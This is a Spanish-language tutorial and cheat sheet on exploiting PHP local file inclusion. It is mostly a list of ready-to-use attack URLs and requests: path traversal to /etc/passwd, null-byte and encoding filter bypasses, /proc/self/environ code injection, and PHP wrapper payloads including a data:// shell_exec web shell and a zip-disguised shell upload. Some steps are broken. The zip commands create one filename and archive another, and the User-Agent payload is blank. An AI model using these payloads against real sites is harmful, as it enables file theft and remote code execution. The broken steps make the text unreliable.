La vulnerabilidad ‘local file inclusion’ permite a un atacante leer un archivo del servidor vulnerable, se produce debido a un error de programación de la pagina.

Dependiendo de la importancia, esta vulnerabilidad puede llevar al atacante a:

  • RCE (Remote Code Execution)
  • XSS (Cross-site scripting)
  • DoS

Los scripts que toman los nombres de archivos como parámetros, sin securizar la entrada del usuario son buenos candidatos para LFI. Un ejemplo muy básico seria el siguiente script de php:

// vuln.php
<?php
  include $_GET['file'];
?>

http://prueba.com/vuln.php?file=image.jpg

Que toma image.jpg como parámetro.
Un atacante cambiaría image.jpg por archivos sensibles como por ejemplo :

http://prueba.com/vuln.php?file=../../../../../../../../etc/passwd

Esto no es solo una vulnerabilidad de php; también está presente en otros lenguajes como jsp, asp, entre otros.

Cheat-Sheet / Notas :

LFI Básico:

http://ex.com/index.php?page=../../../etc/passwd

  • Null Byte:
    Es habitual encontrarnos con php que permiten LFI y nos añaden una extensión:

    <?
      $file = $_GET['file'];
      require($file . ".php");
    ?>

    El php se añade al nombre del archivo, esto significa que no podremos encontrar los archivos que buscamos. Dado que el archivo/etc/passwd.php no existe. Sin embargo, si añadimos el nullbyte al final de nuestra cadena de ataque, el. php no será tenido en cuenta. Así que añadimos %00 al final de nuestra cadena de ataque.

    http://ex.com/index.php?page=../../../etc/passwd%00

  • Url-Encode:

    http://ex.com/index.php?page=%252e%252e%252fetc%252fpasswd

  • Bypass filtro:

    http://ex.com/index.php?page=..///////..////..//////etc/passwd
    http://ex.com/index.php?page=….//….//….//….//etc/passwd

  • Path Truncation

    http://ex.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
    http://ex.com/index.php?page=../../../../[…]../../../../../etc/passwd

/proc/self/environ

Es posible incluir el /proc/self/envirion desde el script vulnerable. Se puede aprovechar la ejecución del código manipulado el paramento User-Agent con Burp-Suite. Después de que el código php ha sido introducido, se puede ejecutar RCE.

GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1
Host: www.ex.com
User-Agent:

LFI Wrappers:

Php incorpora una serie de envolturas para distintos protocolos tipo URL para trabajar junto con funciones del sistema, son los llamados wrappers.

  • PHP Wrapper expect://

    http://ex.com/index.php?page=expect://whoami

  • PHP Wrapper data://

    http://www.ex.com/index.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

  • PHP Wrapper filter://

    http://ex.com/index.php?page=php://filter/read=string.rot13/resource=index.php
    http://ex.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

  • PHP Wrapper zip://
    echo "<?php \$_GET['param1'](\$_GET['param2']); ?>" > shell.php
    zip -0 payload.zip payload.php;   
    mv payload.zip shell.jpg;    
    rm payload.php

    http://ex.com/index.php?page=zip://shell.jpg%23payload.php

Herramientas: LFI

Referencias:

¿Me ayudas a compatirlo?